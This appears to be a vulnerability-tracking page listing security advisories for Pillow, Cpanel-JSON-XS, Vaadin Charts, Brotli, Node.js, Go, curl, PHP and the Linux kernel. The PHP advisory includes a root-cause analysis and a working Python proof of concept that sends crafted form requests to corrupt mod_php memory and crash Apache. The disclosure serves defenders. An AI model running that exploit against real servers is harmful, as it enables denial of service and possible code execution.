Latest trending vulnerabilities

almalinux/python3-pillowImportant: python-pillow security update

Risk 31

Month

Null Pointer Dereference, Double Free

Python is an interpreted, interactive, object-oriented programming language, which includes modules, classes, exceptions, very high level dynamic data types and dynamic typing. Python supports interfaces to many system calls and libraries, as well as to various windowing systems.

Security Fix(es):

pillow: Pillow: Denial of Service via unbounded recursion in PDF parser (CVE-2026-112391) pillow: pillow: Denial of service via double free during image transformation (CVE-2026-112402) pillow: pillow: Denial of Service via zero-size images in rank filters (CVE-2026-112392) pillow: pillow: Denial of Service via out-of-bounds memory access on zero-width images (CVE-2026-112397) pillow: Pillow: Denial of Service via null pointer dereference in Image.merge() (CVE-2026-112405) pillow: pillow: Denial of Service via crafted multi-frame image conversion (CVE-2026-112894) pillow: pillow: Denial of service via crafted PDF during append operations (CVE-2026-112895) pillow: pillow: Denial of Service via infinite loop during PDF page rewriting (CVE-2026-112406) pillow: pillow: Denial of Service via duplicate page references in PDF files (CVE-2026-96640) pillow: pillow: Denial of Service via unbounded memory expansion in MSP image decoder (CVE-2026-112892)

For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.

First published (updated )

Advisory

ALSA-2026:92639

suse/perl-cpanel-json-xsSecurity update for perl-Cpanel-JSON-XS

Risk 82

Severity

9

Trending

Month

Integer Overflow

This update for perl-Cpanel-JSON-XS fixes the following issues:

- CVE-2025-40929: integer overflow (bsc#1249331). - CVE-2026-9334: type confusion via duplicate object keys when dupkeysasarrayref is enabled (bsc#1267546). - CVE-2026-9516: denial of service via UTF-8 BOM prefixed input when a decode filter callback throws (bsc#1267547). - CVE-2026-110672: leak of decoded key of an object rejected for a duplicate key or a missing colon in decodehv (bsc#1286166). - CVE-2026-110673: stack exhaustion via nested tagged values under allowtags in decodetag (bsc#1286167). - CVE-2026-110674: duplicate non-ASCII bare keys are missed, allowing type confusion under dupkeysasarrayref in decodehv (bsc#1286168). - CVE-2026-110675: malformed UTF-8 accepted in bare hash keys under allowbarekey in decodehv (bsc#1286169). - CVE-2026-110676: memory exhaustion by encoding exponent notation as full decimal digits under allowbignum (bsc#1286170). - CVE-2026-110677: array collecting duplicate key values leaked under dupkeysasarrayref in decodehv (bsc#1286173). - CVE-2026-110678: memory exhaustion by buffering incremental input past maxsize in incrparse (bsc#1286174). - CVE-2026-110680: out-of-bounds write when a tied or shared hash grows during canonical encoding in encodehv (bsc#1286175). - CVE-2026-110681: parent interpreter's scalars from a parser object cloned into a new ithread (bsc#1286176). - CVE-2026-110682: input chunking can change the decoded value of top-level numbers in incrparse (bsc#1286177). - CVE-2026-110684: memory leaked and overloaded objects retained when encoding values as strings in encodestringify (bsc#1286179). - CVE-2026-110685: decoded arguments of a tagged value leaked when its THAW method dies in decodetag (bsc#1286180). - CVE-2026-110686: freed filter callbacks used when a filter removes itself during decoding in decodehv (bsc#1286181). - CVE-2026-110687: byte-string keys misordered during canonical encoding in utf16cmp (bsc#1286182). - CVE-2026-110688: quadratic CPU use due to remaining buffer revalidation per value in incrparse (bsc#1286183).

Changes for perl-Cpanel-JSON-XS:

- updated to 4.800.0 (4.80) - Add version markers to all module files. (PR #260 demerphq) - Use utf8ntouvchr on Perl 5.32 and later to avoid the deprecated utf8ntouvuni API. (PR #260 demerphq) - Add schema-based validation for decoded JSON (GH #238): Cpanel::JSON::XS::Type now provides checktype($data, $schema[, $foundtype]), which validates an already-decoded perl structure against a type spec built from the existing encoder building blocks (JSONTYPE / jsontypearrayof / jsontypehashof / jsontypeanyof), plus the new jsontypeoptional() for hash keys that may be absent, and short scalar type name sugar ('Str', 'Int', 'Float', 'Bool', 'Null', 'Any', and nullable 'Str?' etc.) so a schema reads as 'just a hash of keys and types', as requested. Unlike the encoder's hash type spec, a plain hashref schema is closed: unknown keys and missing required keys are reported. New $json->decodeandvalidate($jsontext, $schema) method decodes and croaks with all mismatches if validation fails, using decode()'s own type introspection as ground truth to avoid perl's usual dual-var/stringified-number ambiguity. - jsontypeoptional() and the nullable '?' type-name suffixes ('Str?', 'Int?', 'Float?', 'Bool?') give schemas an explicit way to declare a key/value as optional instead of demanding a complete type specification for every key. The encoder now also understands jsontypeoptional() directly (it unwraps to the wrapped type, since encode() only ever sees keys that are actually present): the exact same type spec built for checktype()/decodeandvalidate() can now be handed to encode() as-is, instead of croaking with 'no type was specified for hash key '...'' for every optional key. Encoding stays strict by default otherwise: a hash key with no entry at all in the type spec still croaks (GH #242). eg/benchlarge.pl: old encode: 20.5--22.9/s decode: 16.2--16.5/s for 4.53 new encode: 21.1--22.5/s decode: 15.7--16.3/s for 4.80 4.53 2026-09-28 (rurban) - Fix C90 violations with arm neon (GH #258 rjbs) - Added a native arm64 test runner. - updated to 4.520.0 (4.52) 4.52 2026-09-12 (rurban) - OSX 10.9 fix for SIMD UTF-8 (Christian Carey) - Change my maintainer email to reini.urban@gmail.com 4.51 2026-09-11 (rurban) - Add faster SIMD UTF-8 validation (GH #213, Zhang Boyang) - Fix tests for yath (GH #255, with H.Merijn Brand): the test files now work with Test2::Harness instead of only Test::Harness, and a yath run is added to make xtest when yath is installed. - Skip one t/117numbers.t test on Perls with 32-bit IVs (GH #254, Jeremy Hansen). 4.50 2026-09-08 (rurban) - Add $json->encodeto($fh, $data, [$type]) to stream encoded JSON directly to a filehandle instead of building the whole result in memory (GH #250, requested by yairlenga. designed 2016 in GH #58). Internally flushes a bounded 8k chunk buffer as it fills, keeping peak memory bounded for large data structures. - Encoder performance improvements suggested in GH #237 (17dec): Large-integer encoding now uses a 100-digit lookup table instead of snprintf, roughly 2x faster for integers outside the existing branchless small-integer fast path (|value| > 59000). encodestr now bulk-copies runs of consecutive bytes that need no escaping instead of a need()+store per byte, notably faster for strings with few or no characters to escape. Added eg/benchlarge.pl with results. - updated to 4.440.0 (4.44) 4.44 2026-09-02 (rurban) - Fix canonical sort infinite loop (GH #252 amelchio): malformed UTF-8 keys (e.g. Latin-1 byte strings mixed with Unicode) made utf16cmp treat the decoder's (STRLEN)-1 malformed sentinel as a length, wrapping the buffer pointer. Now checked as 0 or > remaining length. - updated to 4.430.0 (4.43) 4.43 2026-07-18 (rurban) - Fix canonical sort: compare by UTF-16 code units per RFC 8785 (GH #248, leont) - Fix canonical sort on Perl 5.8-5.18: utf16cmp now always attempts UTF-8 decoding instead of checking SvUTF8 flag, since older Perls may store valid UTF-8 hash keys without the flag set. - Fix quadmath encode dropping '.0' for large floats (GH #246, reported by Tux). The .0 guard condition that suppressed appending for NV values > UVMAX was incorrect on high-precision FP (quadmath, 128-bit long double on arm64) where %g uses fixed-point notation for values like 1.01e30. Guarded with #if NVDIG < 31 to skip only on double/80-bit-ld where %g naturally uses %e for large values. - updated to 4.420.0 (4.42) 4.42 2026-06-27 (rurban) - Ensure encode with a type spec hashref does not change the hashref argument (GH #240) - Fix -e docs: 'written' -> 'read' (GH #239, reported by Ron Savage). - Fix Boolean eq overload matching undef (GH #207, reported by fd-t). Cpanel::JSON::XS::Boolean overloaded eq would match undef as equal to false because undef stringifies to ''. Added defined() guard. - Fix error messages showing overloaded stringification for blessed objects (GH #191, reported by karenetheridge). Error messages now use ClassName=TYPE(addr) format, bypassing any '' overload. - Fix typeallstring overriding allowblessed/convertblessed (GH #175, reported by alpha6). With typeallstring + allowblessed, blessed objects are now encoded as null (not stringified as HASH address). - Fix infinite recursion when encode is called from a '' overload (GH #128, reported by pbrthemaster). The recursion guard temporarily clears convertblessed and allowstringify flags on the JSON object before calling the overload, preventing re-entrant encode loops. - Fix $obj->new creating a broken object (GH #93, reported by cpansprout). When new() is called on an existing object (e.g. $json->new->new), the class name is now extracted from the object's stash rather than using the stringified reference. - Change allownonref default to true (GH #241, matching JSON::PP and JSON::XS 4.0+ and the insecure RFC 7159). encode and decode now accept non-reference values by default. decodejson() with an explicit 0/1 second argument still works. allownonref(0) to disable scalars-only for secure JSON. - Fix minor t/12blessed.t typo. - Fix GH #112: encode large whole-number NV values without .0 on 32-bit Perl (values exceeding UVMAX that Perl stores as float). - Fix GH #197: prefer IOK over pNOK when encoding values where IV is accurate but NV is imprecise (SvNOK not set). - updated to 4.410.0 (4.41) 4.41 2026-05-27 (rurban) - Fix incrparse single-quote string delimiter (GH #245, reported by Paul Johnson) - Fix a one-byte out-of-bounds heap read reachable via allowbarekey on truncated input (GH #244, reported by Paul Johnson) - updated to 4.400.0 (4.40) 4.40 2025-09-07 (rurban) - Fix CVE-2025-40929 overflow with overlong numbers, fuzzing only. - Detect more malformed numbers, with two decimal points. - Pin github actions to latest @v via pinact run -u (bsc#1249331) - updated to 4.390.0 (4.39) 4.39 2024-12-12 (rurban) - Fix Windows -Dusequadmath (sisyphus GH #235, GH #229) - Fix inconsistent behavior between decoding escaped and unescaped surrogates, and escaped non-characters vs non-escaped non-characters. Now aligned to JSON::PP (Gavin Hayes GH #233, GH #227) - Add typeallstring tests (Bernhard Schmalhofer GH #236) - Silence UV to char cast warnings (bulk88 GH #232) - Fix MSVC preprocessor errors (bulk88 GH #232) - Fix -Wformat warnings on Windows (sisyphus GH #228) - Clarify BigInt decoding (GH #226)

1 / 2

Source: OSV

First published (updated )

Advisory

SUSE-SU-2026:4926-1

Highsoft HighchartsMultiple Vulnerabilities in the Highcharts Library Bundled with Vaadin Charts

Risk 68

Severity

8.4

Trending

Month

XSS

AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Vaadin Charts renders charts with the Highcharts library and pins an exact version of it, 9.2.2 in Vaadin 22 to 24 and 12.2.0 in Vaadin 25, so an application cannot remove these vulnerabilities by upgrading Highcharts on its own. Highsoft disclosed several vulnerabilities in that library that are reachable through the chart configuration: writes to Object.prototype through dotted series.keys paths, and cross-site scripting through credits.href, through breadcrumbs.style, through HTML text parsing while printing, and through xlink:href attributes in exported charts. An application is affected where data an attacker controls reaches the chart configuration, for example through additionalOptions, through updateConfiguration(), or through text options that accept markup. The fixed Vaadin versions apply Highsoft's recommended workarounds to the bundled Highcharts when it loads, and keep the same Highcharts version.

Users of affected versions should apply the following mitigation or upgrade. Releases that have fixed this issue include:

Product version Vaadin 22.0.0 - 23.6.15 Vaadin 24.0.0 - 24.4.23 Vaadin 24.5.0 - 24.7.15 Vaadin 24.8.0 - 24.9.22 Vaadin 24.10.0 - 24.10.10 Vaadin 25.0.0 - 25.2.9 Vaadin 25.3.0

Mitigation Upgrade to 23.6.16 Upgrade to 24.4.24 Upgrade to 24.7.16 Upgrade to 24.9.23 Upgrade to 24.10.11 Upgrade to 25.2.10 Upgrade to 25.3.1 or newer

Please note that Vaadin versions 10-13 and 15-22 are no longer supported and you should update either to the latest 23, 24, 25 version.

Artifacts Maven coordinates / Vulnerable versions / Fixed version com.vaadin:vaadin / 22.0.0 - 23.6.15 / >=23.6.16 com.vaadin:vaadin / 24.0.0 - 24.4.23 / >=24.4.24 com.vaadin:vaadin / 24.5.0 - 24.7.15 / >=24.7.16 com.vaadin:vaadin / 24.8.0 - 24.9.22 / >=24.9.23 com.vaadin:vaadin / 24.10.0 - 24.10.10 / >=24.10.11 com.vaadin:vaadin / 25.0.0 - 25.0.13 / >=25.2.10 com.vaadin:vaadin / 25.1.0 - 25.1.13 / >=25.2.10 com.vaadin:vaadin / 25.2.0 - 25.2.9 / >=25.2.10 com.vaadin:vaadin / 25.3.0 / >=25.3.1 com.vaadin:vaadin-charts-flow / 22.0.0 - 23.6.15 / >=23.6.16 com.vaadin:vaadin-charts-flow / 24.0.0 - 24.4.22 / >=24.4.24 com.vaadin:vaadin-charts-flow / 24.5.0 - 24.7.14 / >=24.7.15 com.vaadin:vaadin-charts-flow / 24.8.0 - 24.9.22 / >=24.9.23 com.vaadin:vaadin-charts-flow / 24.10.0 - 24.10.10 / >=24.10.11 com.vaadin:vaadin-charts-flow / 25.0.0 - 25.0.13 / >=25.2.10 com.vaadin:vaadin-charts-flow / 25.1.0 - 25.1.13 / >=25.2.10 com.vaadin:vaadin-charts-flow / 25.2.0 - 25.2.9 / >=25.2.10 com.vaadin:vaadin-charts-flow / 25.3.0 / >=25.3.1 com.vaadin:vaadin-charts-flow-svg-generator / 21.0.0 - 23.6.15 / >=23.6.16 com.vaadin:vaadin-charts-flow-svg-generator / 24.0.0 - 24.4.22 / >=24.4.24 com.vaadin:vaadin-charts-flow-svg-generator / 24.5.0 - 24.7.14 / >=24.7.15 com.vaadin:vaadin-charts-flow-svg-generator / 24.8.0 - 24.9.22 / >=24.9.23 com.vaadin:vaadin-charts-flow-svg-generator / 24.10.0 - 24.10.10 / >=24.10.11 com.vaadin:vaadin-charts-flow-svg-generator / 25.0.0 - 25.0.13 / >=25.2.10 com.vaadin:vaadin-charts-flow-svg-generator / 25.1.0 - 25.1.13 / >=25.2.10 com.vaadin:vaadin-charts-flow-svg-generator / 25.2.0 - 25.2.9 / >=25.2.10 com.vaadin:vaadin-charts-flow-svg-generator / 25.3.0 / >=25.3.1

npm packages npm package / Vulnerable versions / Fixed version @vaadin/charts / 22.0.0 - 23.6.6 / >=23.6.7 @vaadin/charts / 24.0.0 - 24.4.18 / >=24.4.19 @vaadin/charts / 24.5.0 - 24.7.12 / >=24.7.13 @vaadin/charts / 24.8.0 - 24.9.18 / >=24.9.19 @vaadin/charts / 24.10.0 - 24.10.6 / >=24.10.7 @vaadin/charts / 25.0.0 - 25.0.13 / >=25.2.14 @vaadin/charts / 25.1.0 - 25.1.14 / >=25.2.14 @vaadin/charts / 25.2.0 - 25.2.13 / >=25.2.14 @vaadin/charts / 25.3.0 / >=25.3.1

First published (updated )

CVE-2026-107588

Google BrotliPortfolio Status: Impact of Brotli Vulnerability (CVE-2026-111497) on Palo Alto Networks Products

Risk 99

Severity

9.2

Trending

Month

Buffer Overflow

AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:O/RC:C

A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream. Users need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.

1 / 15

Source: Ubuntu

First published (updated )

CVE-2026-111497

Node.js Node.jsdns.resolve truncates names containing NUL char

Risk 63

Severity

7.4

Trending

Month

AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

A flaw in Node.js DNS resolution allows hostnames containing a NUL byte to be silently truncated by the dns.resolve() functions and dns.reverse(). This is an incomplete fix of CVE-2026-48930, which only covered dns.lookup() and the net/tls host options. Because the name is passed to c-ares as a C string, resolving attacker.example\0.trusted.example queries attacker.example and returns its records without any error. Applications that validate a hostname, for example against a domain allowlist, and then resolve it with dns.resolve() can act on records for a different name than the one they validated. This vulnerability affects Node.js 26.x, 24.x, and 22.x.

1 / 8

Source: Ubuntu

First published (updated )

CVE-2026-105482

go GoDistrust compromised intermediate certificates in crypto/x509

Risk 60

Severity

6.8

Trending

Month

AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N

Affected versions include emSign ECC Root CA - G3, which can allow certificate paths through distrusted emSign intermediates.

Affected versions may accept certificate paths containing distrusted emSign intermediate public keys. The private keys corresponding to these intermediates are now well known.

Version 1.0.10+ removes this root.

The webpki-roots 0.26.11 compatibility package contains no independent trust store and re-exports the roots from its separately resolved 1.x dependency. That parent dependency must resolve to 1.0.10 or newer; an older parent remains affected by this advisory.

1 / 8

Source: OSV

First published (updated )

CVE-2026-111943

ubuntu/curlcurl vulnerabilities

Risk 60

Trending

Month

Use After Free

USN-8927-1 fixed vulnerabilities in curl. This update provides the corresponding fixes for Ubuntu 26.10.

Original advisory details:

It was discovered that curl, when built with GnuTLS support, had an out-of-bounds read in the WebSocket send path. An attacker could possibly use this issue to obtain sensitive information. (CVE-2026-107928)

Maksim discovered that curl did not correctly include the interface binding in connection reuse decisions when CURLOPTINTERFACE was used. An attacker could possibly use this issue to cause connections to go out from an unintended source address. (CVE-2026-107929)

Stanislav Fort discovered that curl did not properly clear AWS SigV4 authentication state when CURLOPTAWSSIGV4 was set to NULL. An attacker could possibly use this issue to obtain sensitive information. (CVE-2026-86409)

Stanislav Fort discovered that the curl command line tool did not set SSH host verification options when following redirects to SFTP or SCP URLs. An attacker could possibly use this issue to perform machine-in-the-middle attacks. (CVE-2026-86410)

Stanislav Fort discovered that curl did not properly handle cookie jar entries that could not be reloaded. An attacker could possibly use this issue to cause a denial of service. (CVE-2026-86412)

Stanislav Fort discovered that an HTTP proxy could trick libcurl into sending credentials to the proxy itself by responding to a CONNECT request with an unexpected authentication challenge. An attacker could possibly use this issue to obtain sensitive information. (CVE-2026-86414)

Stanislav Fort discovered that curl did not correctly handle HSTS entries when an includeSubDomains parent entry was imported before a longer-lived child entry. An attacker could possibly use this issue to cause curl to use unencrypted HTTP connections. (CVE-2026-87862)

Stanislav Fort discovered that curl did not properly handle HSTS max-age values that exceeded calendar time structure bounds. An attacker could possibly use this issue to cause a denial of service or data loss. (CVE-2026-87863)

Stanislav Fort discovered that curl did not properly handle IMAP APPEND commands when CURLOPTCRLF was enabled, allowing overflow bytes to be interpreted as pipelined commands. An authenticated attacker could possibly use this issue to inject arbitrary IMAP commands. (CVE-2026-87864)

Bobbeh Rhino discovered that libcurl, when used with libssh2 and a hashed knownhosts file, could misreport a host key mismatch as a missing key. An attacker could possibly use this issue to perform machine-in-the-middle attacks. (CVE-2026-87865)

Joshua Rogers discovered that curl did not properly handle long cookie entries written to a Netscape cookie jar. An attacker could possibly use this issue to cause a denial of service. (CVE-2026-92386)

Joshua Rogers discovered that a malicious FTP, IMAP, POP3, or SMTP server could cause libcurl to block indefinitely by omitting the final control-response line. An attacker could possibly use this issue to cause a denial of service. (CVE-2026-92387)

Joshua Rogers discovered that libcurl had a use-after-free vulnerability in the FTP wildcard matching code. An attacker could possibly use this issue to cause curl to crash, resulting in a denial of service, or execute arbitrary code. (CVE-2026-92388)

Joshua Rogers discovered that libcurl's TFTP state machine did not properly validate transfer directions, allowing a malicious server to force the client into transmit mode. An attacker could possibly use this issue to obtain sensitive information. (CVE-2026-92389)

Joshua Rogers discovered that curl did not properly enforce its file overwrite protection when using --remote-header-name in certain circumstances. An attacker could possibly use this issue to overwrite local files. (CVE-2026-92390)

Joshua Rogers discovered that curl had a stack overflow vulnerability when processing deeply nested MIME structures. An attacker could possibly use this issue to cause curl to crash, resulting in a denial of service. (CVE-2026-92391)

Joshua Rogers discovered that libcurl could expose credentials in the URL returned by CURLINFOEFFECTIVEURL when credentials were retrieved from a .netrc file. An attacker could possibly use this issue to obtain sensitive information. (CVE-2026-94266)

Joshua Rogers discovered that libcurl had a use-after-free vulnerability during HTTP/2 uploads when handling RSTSTREAM responses from the server. An attacker could possibly use this issue to cause curl to crash, resulting in a denial of service, or execute arbitrary code. (CVE-2026-92392)

1 / 2

Source: OSV

First published (updated )

Advisory

USN-8927-2

PHP PHPPHP Stale Internal Request-State Vulnerability

Risk 88

Severity

9.2

Trending

3 Months

Use After Free

AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

GHSA - https://github.com/php/php-src/security/advisories/GHSA-h37m-fxqh-w76h

Found a crash while investigating https://github.com/php/php-src/security/advisories/GHSA-626f-5vcj-8h2p.

An OOM at the wrong time can leave zendarray s in a corrupted state, and cause a zvalptrdtor() on uninitialized memory during shutdown. This seems critical as this can be triggered during input parsing.

Details

zendhashstraddorupdatei() updates ht->nNumUsed before initializing the bucket, and then allocates a zendstring for the key with zendstringinit() . If zendstringinit() OOMs, the zendarray is left with one uninitialized bucket.

idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; p->key = key = zendstringinit(str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

During shutdown, izvalptrdtor() is called on the uninitialized bucket, which might contain data from user inputs

1 / 4

Source: Red Hat

First published (updated )

CVE-2026-109619

PHP PHPImpact of Critical Vulnerabilities in PHP (CVE-2026-109618, CVE-2026-109619) on Palo Alto Networks Products

Risk 99

Severity

9.2

Trending

Year

Use After Free

AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

PHP Zend HashTable raw-key partial-insertion memory corruption (CAND-049)

Affected component: Zend/zendhash.c, raw-string insertion APIs

Summary

PHP can publish an uninitialized HashTable Bucket when a raw-string key allocation fatals. An unauthenticated modphp request can reach the bug before the target script runs; later cleanup consumes stale attacker-influenced zval and key pointers. The resulting critical engine corruption has been developed into disclosure, arbitrary-free/UAF primitives, and native code execution.

Details

Affected versions and introduction

The unsafe optimization was introduced by php-src commit:

text 6de54703f055231603816495c55e6e1924cb5e71 Improved zendhashstradd/update functions

The previous raw-string wrappers allocated the zendstring before entering the insertion helper. The optimized missing-key branch instead deferred that fallible allocation until after live-table metadata was modified.

- First affected release: PHP 7.3.0. - Source-confirmed affected minor lines: PHP 7.3, 7.4, 8.0, 8.1, 8.2, 8.3, 8.4, 8.5, and the audited PHP 8.6 development revision. - Total affected minor release lines: 9. - PHP 7.2 and earlier do not contain this exact raw-key ordering.

The version range was derived from source history. Natural network validation and exploit validation cover representative optimized packages and current development builds rather than every historic binary.

Vulnerability root versus triggering fatal

The vulnerability is the nontransactional ownership transition, not memorylimit or OOM. Any non-local exit after the two counters advance and before the Bucket is initialized can leave the false live entry. A memory- limit fatal is the demonstrated network-reachable interruption because it occurs synchronously during the owned-key allocation.

Three conditions are distinct:

1. A producer inserts a missing nonnumeric raw string key. 2. A fatal/bailout interrupts the key allocation after publication. 3. A surviving owner is later traversed or destroyed.

An ordinary “Allowed memory size exhausted” response does not prove CAND-049. Allocations before publication, table growth, and cleanup of an abandoned temporary all fail safely. The fatal must occur in the owned-key allocation, and a later consumer must trust the advanced live-entry count.

The helper has no known user callback or regular VM-interrupt checkpoint in this narrow window. OOM is therefore the primary confirmed remote mechanism. A signal or timeout that only terminates the process is not equivalent to the malformed-table condition.

Technical root cause

The missing-key path in zendhashstraddorupdatei() checks capacity and then advances both live-entry counters before allocating the key:

c ZENDHASHIFFULLDORESIZE(ht);

addtohash: idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx;

p->key = key = zendstringinit( str, len, GCFLAGS(ht) & ISARRAYPERSISTENT);

p->h = ZSTRH(key) = h; HTFLAGS(ht) &= ~HASHFLAGSTATICKEYS; ZVALCOPYVALUE(&p->val, pData); / link Bucket into hash index /

zendstringinit() can raise a memory-limit fatal and never return. At that point:

- nNumUsed and nNumOfElements claim the Bucket is live; - the Bucket's zval, hash, key pointer, and collision link are stale bytes; - PHP never initialized or owned the key; and - the Bucket is absent from the hash index.

This last condition creates an observable inconsistency: key lookup cannot find the entry, while linear consumers use nNumUsed and include it. The generic HashTable destructor does exactly that:

c Bucket p = ht->arData; Bucket end = p + ht->nNumUsed;

do { izvalptrdtor(&p->val); if (EXPECTED(p->key)) { zendstringreleaseex(p->key, false); } } while (++p != end);

Stale p->val controls which zval cleanup branch runs; stale p->key controls an independent string reference decrement/release. Reuse can make either field point to live data allocated after the failed insertion.

Affected APIs

Affected missing-nonnumeric-key paths include:

- zendhashstradd() and zendhashstraddnew(); - zendhashstrupdate() and zendhashstrupdateind(); - zendhashstrlookup(); and - raw-string wrappers that reach the same internal missing-key branch.

zendsymtablestr() is affected when the supplied key is nonnumeric. Numeric-index insertion and insertion using an already allocated zendstring do not contain this exact post-counter allocation. Existing- key replacement also bypasses the missing-key publication window.

Generic request-variable entry point

Bracketed variables cause phpregistervariableex() to create missing intermediate arrays. The missing root is passed as a raw pointer/length:

c gpcelementp = zendsymtablestrfind(symtable1, index, indexlen); if (!gpcelementp) { zval tmp; arrayinit(&tmp); gpcelementp = zendsymtablestrupdateind( symtable1, index, indexlen, &tmp); }

The resulting path is:

text form parser -> phpregistervariableex() -> zendsymtablestrupdateind() -> zendhashstrupdateind() -> zendhashstraddorupdatei()

The following distinction is load-bearing:

text name=value normally uses a prebuilt key name[child]=value missing nonnumeric root reaches CAND-049 123[child]=value numeric-index path, not this allocation window

One nested variable still counts as one input against maxinputvars; no over-limit nesting is required.

At the stock 128 MiB limit, CAND-072's empty-upload metadata expansion or CAND-056's lengthless multipart stream supplies the required pressure before a final missing nested root. Both producers reach this helper before a fixed target file executes; neither changes the CAND-049 ownership root.

SAPI and lifetime boundaries

Apache modphp wraps request startup in a bailout handler and subsequently runs its request destructor:

c zendfirsttry { if (phpapacherequestctor(r, ctx) != SUCCESS) { zendbailout(); } } zendendtry();

if (!parentreq) { phpapacherequestdtor(r); }

This supplies all three requirements: native request parsing produces the malformed entry, the request-global table survives the fatal, and shutdown linearly destroys it. The persistent child can also retain allocator state across requests. The confirmed generic production boundary is NTS prefork; threaded module configurations share the root but require independent lifetime analysis.

FPM's automatic startup-failure branch normally finishes the FastCGI request and terminates that worker. It therefore confirms the source fault but does not run the same stale-Bucket consumer or reuse the allocator. FPM becomes materially exposed when application code invokes an affected parser after normal startup and stores the incomplete table in a global, object, resource, or temporary PHP-global slot that shutdown later consumes.

PHP 8.4+'s requestparsebody() is a strong example: it temporarily replaces global POST/FILES zvals and restores them only after parsing returns. A fatal skips restoration while normal FPM request shutdown remains active. Frameworks that call it for non-POST methods can reach the producer, but route exposure, remaining memory, owner, and final consumer are application-specific. The source defect must not be described as generic FPM RCE without those links.

Recommended fix

Restore transactional ordering by allocating the key before publishing the new Bucket:

diff addtohash: + key = zendstringinit( + str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); idx = ht->nNumUsed++; ht->nNumOfElements++; p = ht->arData + idx; - p->key = key = zendstringinit( - str, len, GCFLAGS(ht) & ISARRAYPERSISTENT); + p->key = key;

Alternatively, all non-local failure paths must roll back both counters and leave a zeroed, unreachable, destructor-safe slot. Fixing callers or adding request-specific checks leaves the shared API vulnerable to another owner.

Regression tests should inject failure at every allocation in missing-key insertion and then perform lookup, iteration, destruction, copy, merge, and request shutdown. Tests should cover each exported raw-key wrapper and both packed-to-mixed and already-mixed tables.

PoC

The smallest network PoC uses Ubuntu 26.04 arm64's packaged PHP 8.5.4 NTS modphp with memorylimit=32M, postmaxsize=8M, and displayerrors=Off. Only the memory limit is reduced to keep the request short; the stock-limit paths are described above. Serve:

php <?php echo "hi\n";

Run this Python client:

python import socket, struct from urllib.parse import quotefrombytes

host, port, target = "127.0.0.1", 80, "/index.php"

def request(method, path, body=b"", contenttype=None): h = [f"{method} {path} HTTP/1.1", f"Host: {host}", "Connection: close", f"Content-Length: {len(body)}"] if contenttype: h.append(f"Content-Type: {contenttype}") wire = ("\r\n".join(h) + "\r\n\r\n").encode() + body try: with socket.createconnection((host, port), 10) as s: s.settimeout(60); s.sendall(wire); out = b"" while data := s.recv(65536): out += data return out except OSError: return b""

warm = b"&".join(b"w%d=" % i + b"W" 264 for i in range(8)) request("POST", target, warm, "application/x-www-form-urlencoded") request("POST", target, warm, "application/x-www-form-urlencoded")

fake = struct.pack("<QIIQQ", 0x1122334455667788, 4, 0, 0x1337, 0x4141414141414141) donor = b"CONTROLLEDBUCKET".ljust(232, b"D") + fake query = [] for i in range(9): value = donor if i == 2 else (b"Q%d" % i).ljust(264, b"A") query.append("q%d=%s" % (i, quotefrombytes(value, safe=""))) query += ["q%d=U" % i for i in (6, 0, 1, 2, 3, 4)]

prefix = [b"p%d=" % i + b"V" 264 for i in range(6)] body = b"&".join(prefix + [b"R" 7700000 + b"[x]=v"]) response = request("POST", target + "?" + "&".join(query), body, "application/x-www-form-urlencoded") print(response.partition(b"\r\n")[0] or b"EOF")

The final key allocation emits the 32 MiB OOM, but modphp then destroys the partially published Bucket and dereferences 0x4141414141414141; the affected Apache child exits with SIGSEGV. A version changing the last qword to zero is the noncrashing donor control. The target's hi is never printed.

Impact

Unauthenticated engine memory corruption before application execution, with validated disclosure, arbitrary-free/UAF primitives, and native code execution under modphp.

1 / 5

Source: Red Hat

First published (updated )

CVE-2026-109618

Linux Linux kernelipv4: validate checksum_start before completing checksum

Risk 60

Severity

6.9

EPSS

0.79%

Trending

Month

Input Validation

AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

In the Linux kernel, the following vulnerability has been resolved:

ipv4: validate checksumstart before completing checksum

If a packet with bad checksum metadata gets into the ipv4 stack, skbchecksumhelp can corrupt the network header and cause a bunch of mischief.

This was discovered and reported by Paulos, and has been reporoduced by others independently since.

We really shouldn't allow such packets in, but as a defence in depth measure, let's also check before we complete the checksum.

A more complete validation at input is forthcoming, but needs more work.

1 / 4

Source: NVD

First published (updated )

CVE-2026-99999

Ubuntu curlcurl vulnerabilities